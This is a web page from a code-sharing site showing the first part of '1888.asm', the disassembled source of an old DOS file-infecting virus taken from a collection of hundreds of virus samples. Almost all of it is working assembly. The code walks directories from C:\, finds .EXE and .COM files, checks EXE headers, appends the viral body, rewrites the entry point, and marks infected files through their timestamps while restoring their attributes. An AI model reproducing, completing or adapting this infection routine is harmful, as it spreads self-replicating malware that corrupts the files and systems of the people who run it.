1888.asm

来自「More than 800 virus code (old school) ju」· 汇编 代码 · 共 1,924 行 · 第 1/4 页

ASM
1,924
字号
		cmp	data_019A,0
		jne	loc_0829		; Jump if not equal
		lea	dx,data_015A		; ('C:\') Load effective addr
		mov	ah,3Bh			; ';'
		int	21h			; DOS Services  ah=function 3Bh
						;  set current dir, path @ ds:dx
		mov	data_019A,0FFh
		jmp	short loc_07AF
loc_0829:
		cmp	data_0182,0
		je	loc_083A		; Jump if equal
		call	sub_0328
		dec	data_0182
		jmp	loc_07AF
loc_083A:
		lea	dx,data_013A		; ('\DANGER\1888') Load effective addr
		mov	ah,3Bh			; ';'
		int	21h			; DOS Services  ah=function 3Bh
						;  set current dir, path @ ds:dx
		call	sub_04DE
		jz	loc_084A		; Jump if zero
		call	sub_04EE
loc_084A:
		mov	ax,word ptr data_012C+2
		mov	es,ax
		mov	cx,5Bh
		mov	si,offset data_070C
		xor	di,di			; Zero register
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		call	sub_028C
		call	data_012C
		int	20h			; DOS program terminate
		db	0E9h, 64h, 06h, 20h,0A4h, 86h
		db	0FCh, 18h, 02h, 00h, 00h, 00h
		db	 31h, 2Eh, 43h, 4Fh, 4Dh, 00h
		db	 20h, 20h, 4Dh, 00h, 00h, 00h
		db	0A6h, 24h, 00h, 00h, 60h, 07h
		db	 00h, 00h, 60h, 07h, 60h, 07h
		db	0FEh,0FFh, 6Ch, 0Dh, 6Ch, 0Dh
		db	 94h, 92h, 00h, 00h, 01h, 9Eh
		db	0C8h, 07h, 07h, 1Ch, 02h, 10h
		db	 00h, 00h, 00h, 00h, 5Ch, 00h
		db	 4Fh, 53h, 53h, 49h, 00h, 45h
		db	 4Eh, 00h
		db	 53h, 54h
		db	20 dup (0)
		db	'C:\', 0
		db	'*', 0
		db	'NETWARE', 0
		db	'LMS', 0
		db	'MAUS', 0
		db	'MDB', 0
		db	'DOS', 0
		db	'BASE', 0
		db	'L', 0
		db	'`'
		db	 01h, 00h, 01h, 14h, 17h, 6Eh
		db	 00h, 01h,0A9h, 00h, 01h,0BFh
		db	 38h, 2Ah, 2Eh, 65h, 78h, 65h
		db	 00h, 2Ah, 2Eh, 63h, 6Fh, 6Dh
		db	 00h, 00h, 00h, 04h, 01h
		db	3Fh
		db	7 dup (3Fh)
		db	 43h, 4Fh, 4Dh, 23h, 0Ah, 00h
		db	 00h, 00h, 31h,0C0h, 50h, 9Ah
		db	 20h,0A4h, 86h,0FCh, 18h, 02h
		db	 00h, 00h, 00h, 31h, 2Eh, 43h
		db	 4Fh, 4Dh, 00h, 20h, 20h, 4Dh
		db	 00h, 00h, 00h,0A6h,0EAh,0AAh
		db	 03h, 00h,0CCh,0AAh, 03h, 00h
		db	 00h, 31h, 31h, 00h, 40h, 48h
		db	 07h, 00h, 40h, 6Ch, 15h, 6Ch
		db	 15h, 00h, 40h, 05h, 00h, 60h
		db	 07h, 00h, 01h,0C8h, 01h, 19h
		db	 01h, 82h, 08h, 6Ch, 0Dh, 6Ch
		db	 0Dh,0ADh, 04h, 6Ch, 0Dh, 46h
		db	 72h,0DEh, 07h

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0959	proc	near
		cmp	data_011C,0
		jne	loc_0969		; Jump if not equal
		mov	ax,760h
		mov	data_011C,ax
		mov	data_0120,ax
loc_0969:
		mov	al,data_011E
		mov	data_011F,al
		mov	ax,data_0120
		mov	data_0122,ax
		inc	data_0119
		mov	data_019C,0
		mov	data_019A,0
		mov	data_019B,0
		retn
sub_0959	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0989	proc	near
		lea	dx,data_0183		; Load effective addr
		xor	al,al			; Zero register
		mov	ah,3Dh			; '='
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		jc	loc_ret_099B		; Jump if carry Set
		mov	bx,ax
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle

loc_ret_099B:
		retn
sub_0989	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_099C	proc	near
		mov	ah,2Ah			; '*'
		int	21h			; DOS Services  ah=function 2Ah
						;  get date, cx=year, dh=month
						;   dl=day, al=day-of-week 0=SUN
		mov	ah,dh
		cmp	cx,data_0130
		je	loc_09AB		; Jump if equal
		add	ah,0Ch
loc_09AB:
		sub	ah,data_0132
		mov	data_011B,ah
		mov	data_0134,al
		mov	data_0133,dl
		mov	data_0132,dh
		mov	data_0130,cx
		mov	ah,2Ch			; ','
		int	21h			; DOS Services  ah=function 2Ch
						;  get time, cx=hrs/min, dx=sec
		mov	data_0135,ch
		retn
sub_099C	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_09CB	proc	near
		mov	ax,es
		dec	ax
		push	es
		mov	es,ax
		mov	ax,es:d_8B38_0003_e
		mov	data_012A,ax
		pop	es
		mov	bx,ax
		sub	bx,200h
		mov	ah,4Ah			; 'J'
		int	21h			; DOS Services  ah=function 4Ah
						;  change memory allocation
						;   bx=bytes/16, es=mem segment
		mov	bx,150h
		mov	ah,48h			; 'H'
		int	21h			; DOS Services  ah=function 48h
						;  allocate memory, bx=bytes/16
		mov	word ptr data_012C+2,ax
		retn
sub_09CB	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_09EE	proc	near
		push	es
		mov	ax,word ptr data_012C+2
		mov	es,ax
		mov	ah,49h			; 'I'
		int	21h			; DOS Services  ah=function 49h
						;  release memory block, es=seg
		mov	ax,data_0128
		mov	es,ax
		mov	bx,data_012A
		mov	ah,4Ah			; 'J'
		int	21h			; DOS Services  ah=function 4Ah
						;  change memory allocation
						;   bx=bytes/16, es=mem segment
		pop	es
		retn
sub_09EE	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0A07	proc	near
		push	ds
		mov	ah,1Bh
		int	21h			; DOS Services  ah=function 1Bh
						;  get disk info, default drive
						;   al=sectors per cluster
						;   ds:bx=ptr to media ID byte
						;   cx=sector size, dx=clusters
		cmp	byte ptr [bx],0F8h
		pop	ds
		retn
sub_0A07	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0A11	proc	near
		lea	si,data_019D		; Load effective addr
		mov	di,si
		xor	dl,dl			; Zero register
		mov	ah,47h			; 'G'
		int	21h			; DOS Services  ah=function 47h
						;  get present dir,drive dl,1=a:
						;   ds:si=ASCIIZ directory name
		mov	cx,30h
		mov	al,0
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
		mov	cx,di
		sub	cx,si
		lea	di,data_013A		; ('\DANGER\1888') Load effective addr
		mov	al,5Ch			; '\'
		stosb				; Store al to es:[di]
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		retn
sub_0A11	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0A32	proc	near
		mov	data_0182,0
		lea	bx,cs:[160h]		; Load effective addr
		add	bx,20h
		mov	data_0180,bx
		sub	bx,20h
		lea	dx,data_015A+4		; ('*') Load effective addr
		mov	cx,33h
		mov	ah,4Eh			; 'N'
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		jc	loc_0A81		; Jump if carry Set
loc_0A52:
		lea	di,data_019D		; Load effective addr
		add	di,1Eh
		cmp	byte ptr [di],2Eh	; '.'
		je	loc_0A7B		; Jump if equal
		mov	si,di
		mov	cx,20h
		mov	al,0
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
		mov	cx,di
		sub	cx,si
		mov	di,bx
		add	bx,cx
		cmp	bx,data_0180
		ja	loc_0A81		; Jump if above
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		inc	data_0182
loc_0A7B:
		mov	ah,4Fh			; 'O'
		int	21h			; DOS Services  ah=function 4Fh
						;  find next filename match
		jnc	loc_0A52		; Jump if carry=0
loc_0A81:
		lea	bx,cs:[160h]		; Load effective addr
		mov	data_0180,bx
		retn
sub_0A32	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0A8A	proc	near
		cmp	data_0182,0
		je	loc_ret_0AAE		; Jump if equal
		lea	dx,data_013A		; ('\DANGER\1888') Load effective addr
		mov	ah,3Bh			; ';'
		int	21h			; DOS Services  ah=function 3Bh
						;  set current dir, path @ ds:dx
		mov	dx,data_0180
		mov	di,dx
		mov	ah,3Bh			; ';'
		int	21h			; DOS Services  ah=function 3Bh
						;  set current dir, path @ ds:dx
		mov	al,0
		mov	cx,20h
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
		mov	data_0180,di

loc_ret_0AAE:
		retn
sub_0A8A	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0AAF	proc	near
		mov	ax,data_0104
		and	al,1Fh
		cmp	al,1Eh
		retn
sub_0AAF	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0AB7	proc	near
		lea	dx,data_0194		; Load effective addr
		cmp	data_011E,0
		je	loc_0AC6		; Jump if equal
		lea	dx,data_018E		; Load effective addr
loc_0AC6:
		mov	cx,23h
		mov	ah,4Eh			; 'N'
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		retn
sub_0AB7	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0ACE	proc	near
		lea	si,data_019D		; Load effective addr
		add	si,15h
		lea	di,data_0103		; Load effective addr
		mov	cx,16h
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		retn
sub_0ACE	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0ADF	proc	near
		pushf				; Push flags
		mov	cx,data_0104
		or	cl,1Fh
		and	cl,0FEh
		mov	dx,data_0106
		mov	ax,5701h
		int	21h			; DOS Services  ah=function 57h
						;  set file date+time, bx=handle
						;   cx=time, dx=time
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		lea	dx,data_010C		; ('1888.COM') Load effective addr
		xor	ch,ch			; Zero register
		mov	cl,data_0103
		mov	ax,4301h
		int	21h			; DOS Services  ah=function 43h
						;  set attrb cx, filename @ds:dx
		popf				; Pop flags
		retn
sub_0ADF	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0B08	proc	near
		lea	dx,data_010C		; ('1888.COM') Load effective addr
		xor	cx,cx			; Zero register
		mov	ax,4301h
		int	21h			; DOS Services  ah=function 43h
						;  set attrb cx, filename @ds:dx
		jc	loc_ret_0B1C		; Jump if carry Set
		mov	ax,3D02h
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		mov	bx,ax

loc_ret_0B1C:
		retn
sub_0B08	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0B1D	proc	near
		push	ds
		mov	ax,word ptr data_012C+2
		mov	ds,ax
		mov	cx,100h
		xor	dx,dx			; Zero register
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		cmp	word ptr ds:d_9E01_0000_e,5A4Dh
		nop				;*ASM fixup - sign extn byte
		je	loc_0B38		; Jump if equal
		stc				; Set carry flag
		jmp	loc_0BB7
loc_0B38:
		call	sub_0BB9
		push	ax
		mov	ax,di
		and	ax,0Fh
		mov	cx,10h
		xor	dx,dx			; Zero register
		sub	cx,ax
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		jnc	loc_0B51		; Jump if carry=0
		jmp	short loc_0BB7
		db	90h
loc_0B51:
		mov	si,ax
		mov	cx,100h
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		jc	loc_0BB7		; Jump if carry Set
		pop	dx
		mov	ax,di
		add	ax,si
		add	ax,100h
		cmp	ax,200h
		jb	loc_0B6D		; Jump if below
		and	ax,1FFh
		inc	dx
loc_0B6D:
		mov	cl,4
		shr	ax,cl			; Shift w/zeros fill
		dec	dx
		mov	cl,5
		shl	dx,cl			; Shift w/zeros fill
		sub	dx,ds:d_9E01_0008_e
		add	ax,dx
		sub	ax,10h
		mov	ds:d_9E01_0016_e,ax
		mov	word ptr ds:d_9E01_0014_e,100h
		push	ds
		mov	ax,cs
		mov	ds,ax
		mov	cx,data_011C
		mov	dx,100h
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		pop	ds
		jc	loc_0BB7		; Jump if carry Set
		call	sub_0BB9
		mov	ds:d_9E01_0002_e,di

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?